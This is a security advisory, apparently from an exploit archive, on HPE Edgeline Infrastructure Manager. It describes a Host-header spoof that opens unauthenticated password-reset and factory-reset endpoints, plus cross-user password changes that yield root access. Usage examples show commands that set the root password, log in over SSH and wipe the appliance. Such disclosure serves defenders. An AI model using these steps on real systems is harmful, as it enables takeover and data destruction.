HPE Edgeline Infrastructure Manager Improper Authorization

HPE Edgeline Infrastructure Manager Improper Authorization
Posted Dec 29, 2020
Authored by Jeremy Brown

HPE Edgeline Infrastructure Manager suffers from multiple broken authorization flows that allow for administrative function access without authenticating and can allow for arbitrary password changes.

#
# HPE Edgeline Infrastructure Manager Multiple Remote Vulnerabilities
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2020
#
# In \opt\hpe\eim\containers\api\eim\api\urls.py, some private paths are defined
# which are intended to only be accessible via the local console.
#
# path('private/AdminPassReset', views.admin_password_reset), <-- ice
# path('private/ResetAppliance', views.reset_appliance), <-- ice
# path('private/EIMApplianceIP', views.get_eim_appliance_ips), <-- boring
#
# These are meant to only be exposed for the local GUI so admins can perform
# functions without authenticating. The way do they do this is by checking the
# Host header and returning a 404 not found for not-localhost, but 200 OK for
# 127.0.0.1. This is of course flawed because any remote user has control over
# the Host header and they can call these functions with valid JSON, eg.
# /private/AdminPassReset to reset the admin password and login via SSH (default)
# as root due to the Administrator and root always synced to the same password.
# They can also call ResetAppliance and the appliance will immediately reset
# user data and cause the entire server to reboot.
#
# Administrator is the default and permanent web console user and as mentioned it's
# tied to the root OS user account. When Administrator changes their password, the
# backend changes the root password to the same. Other users can be added to the
# web console, but there is nothing stopping them changing any other user’s password.
# Not even sure if this is a bug or just wow functionality because although the
# users appear different, they all seem to share the same role. Broken or incomplete
# design I guess. So any user can change the Administrator password and use it to
# login as root via the default open SSH server, start setting up camp, etc.
#
# Usage examples
# > billhader.py 10.0.0.10 pre_root_passwd -n letmein
# {"RootPasswd": "Modified", "UserPassword": "Modified"}
#
# > ssh root@10.0.0.10
# root@10.10.10.20's password: [letmein]
# [root@hpe-eim ~]#
#
# > billhader.py 10.0.0.10 post_root_passwd -u test -p abc123
# login succeeded
# {"Status": "success", "Valid_Entries": ["Password"], "Invalid_Entries": []}
#
# (root password is now newpassword default of 'letmein')
#
# > billhader.py 10.10.10.20 pre_factory_reset
# Lost your password huh? Are you sure you want to factory reset this server?
# yes
# done
